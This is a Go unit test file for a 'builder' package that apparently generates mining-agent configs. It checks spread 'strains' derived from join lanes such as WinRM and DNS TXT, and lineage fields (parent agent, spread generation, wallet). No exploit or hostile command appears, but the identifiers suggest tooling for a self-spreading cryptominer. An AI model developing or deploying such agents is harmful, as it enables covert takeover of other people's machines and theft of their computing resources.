Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
46 lines
1.1 KiB
Go
46 lines
1.1 KiB
Go
package builder
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
|
got := spreadStrainFromJoinLane("dns_txt")
|
|
if got == "" || got[0] != '#' || len(got) != 7 {
|
|
t.Fatalf("unexpected strain: %q", got)
|
|
}
|
|
if spreadStrainFromJoinLane("dns_txt") != got {
|
|
t.Fatal("strain not stable")
|
|
}
|
|
if spreadStrainFromJoinLane("winrm") == got {
|
|
t.Fatal("lanes should differ")
|
|
}
|
|
}
|
|
|
|
func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
|
|
h := &Handler{}
|
|
req := &BuildRequest{
|
|
WorkerName: "child",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "4TEST",
|
|
ParentAgentID: "parent-abc",
|
|
SpreadGeneration: 2,
|
|
JoinLane: "winrm",
|
|
}
|
|
src := h.generateBuiltinConfig("genealogy-build", req)
|
|
for _, want := range []string{
|
|
`ParentAgentID: "parent-abc"`,
|
|
"SpreadGeneration: 2",
|
|
`BakedJoinLane: "winrm"`,
|
|
} {
|
|
if !strings.Contains(src, want) {
|
|
t.Fatalf("missing %q in:\n%s", want, src)
|
|
}
|
|
}
|
|
strain := spreadStrainFromJoinLane("winrm")
|
|
if !strings.Contains(src, `SpreadStrain: "`+strain+`"`) {
|
|
t.Fatalf("expected baked strain %q in config", strain)
|
|
}
|
|
}
|